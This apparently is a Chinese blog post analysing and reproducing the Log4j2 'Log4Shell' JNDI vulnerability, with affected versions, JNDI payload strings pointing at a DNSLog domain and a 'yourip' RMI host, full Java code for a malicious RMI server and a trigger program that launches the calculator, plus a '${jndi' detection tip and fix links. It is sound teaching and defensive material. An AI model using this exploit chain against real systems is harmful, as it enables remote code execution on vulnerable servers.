前言
被log4j2漏洞刷頻了,公司也是緊急修復了一波,現在來整個盤一下這個漏洞到底是什么原理!測試漏洞的人太多,連dnslog很長一段時間都訪問不了,最后還用的ceye測試復現的。
影響版本
Apache Log4j 2.x<=2.15.0.rc1
影響范圍
Spring-Boot-strater-log4j2Apache
Struts2Apache
SolrApache
FlinkApache
DruidElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare
個人鏈接:log4j 2 漏洞原理及復現 | Hackt0's Blog
復現過程
漏洞原理
最主要的漏洞成因就是下面這張圖了,log4j2提供的lookup功能
日志中包含 ${}
,lookup功能就會將表達式的內容替換為表達式解析后的內容,而不是表達式本身。log4j 2將基本的解析都做了實現:
比如常見的用戶登陸日志記錄
常見解析
${ctx:loginId} ${map:type} ${filename} ${date:MM-dd-yyyy} ${docker:containerId}${docker:containerName} ${docker:imageName} ${env:USER} ${event:Marker} ${mdc:UserId} ${java} ${jndi:logging/context-name} ${hostName} ${docker:containerId} ${k8s} ${log4j} ${main} ${name} ${marker} ${spring} ${sys:logPath} ${web:rootDir}
而其中的JNDI(Java Naming and Directory Interface)就是本次的主題了,就是提供一個目錄系統,并將服務與對象關聯起來,可以使用名稱來訪問對象。而log4j 2中JNDI解析未作限制,可以直接訪問到遠程對象,如果是自己的服務器還好說,那如果訪問到黑客的服務器呢?
也就是當記錄日志的一部分是用戶可控時,就可以構造惡意字符串使服務器記錄日志時調用JNDI訪問惡意對象,也就是流傳出的payload構成:
${jndi:ldap:xxx.xxx.xxx.xxx:xxxx/exp}
我們可以將上面日志記錄的代碼簡單修改一下,假設用戶名是從外部獲取的用戶輸入,此時構建一個惡意用戶名${jndi:ladp://z2xcu7.dnslog.cn/exp}
,然后觸發日志記錄(可以借助DNSLog生成臨時域名用于查看測試是否生效)
可以看到,記錄日志時發起了JNDI解析,訪問了DNS提供的域名并生成記錄
攻擊流程
其實JNDI通過SPI(Service Provider Interface)封裝了多個協議,包括LDAP、RMI、DNS、NIS、NDS、RMI、CORBA;
復現選擇了使用RMI服務,搭建較為快速
攻擊思路(文章中使用的jdk1.8):
找到目標服務器記錄日志的地方,且記錄的部分內容可控
我們還是選擇之前的模擬日志記錄,假設站點會記錄用戶登陸日志,實際上大部分網站確實會做相關功能
搭建RMI服務端,包含需要執行的惡意代碼
RMI服務端搭建,監聽本地8888(自定義)端口,用Reference類引用惡意對象
package server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(8888);
System.out.println("Create RMI registry on port 8888");
Reference reference = new Reference("server.Log4jRCE", "server.Log4jRCE", null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("exp", referenceWrapper);
}
}
惡意對象模擬執行cmd打開計算器,并且輸出一個語句用于標記執行處
package server;
public class Log4jRCE {
static {
try {
System.out.println("exec in here");
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
執行RMIServer,創建RMI服務
構建EXP觸發目標服務器進行日志記錄觸發JNDI解析
構建惡意用戶名模擬輸入,執行觸發惡意解析
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
String username = "${jndi:rmi://yourip:8888/exp}";
logger.error(username + "is login on ${java:os}");
}
}
解析結果定位到搭建的惡意服務端,目標服務器訪問并觸發惡意代碼
惡意代碼被執行,注意看惡意代碼執行記錄,是在日志記錄的地方被執行
其他信息
看看大佬們都干了啥
修復與檢測
可以通過${jndi
字串匹配是否受到攻擊
修復參考鏈接:
https://mp.weixin.qq.com/s/mb708YuskTyek29g-3pAEg
https://mp.weixin.qq.com/s/ClNpWamMn55BkholbUbo_g
總結
目前已證實服務器易受到漏洞攻擊的公司包括蘋果、亞馬遜、特斯拉、谷歌、百度、騰訊、網易、京東、Twitter、 Steam等。據統計,共有6921個應用程序都有被攻擊的風險,其中《我的世界》首輪即被波及。就連修改iPhone手機名稱都能觸發,最主要的是這是國外黑客玩了幾個月玩膩了才公開的漏洞!
一個范圍廣的0day漏洞可能導致整個互聯網淪為肉雞或者癱瘓,網絡安全,任重而道遠。
不過早在11月24日,阿里云就監測到了在野攻擊并給apache報告了,只是apache新出的版本只是攔截了ldap,其他協議依舊有效。所以公開后很快被騰訊團隊測試可繞過,當天發出修復版本Log4j 2.15.0-rc2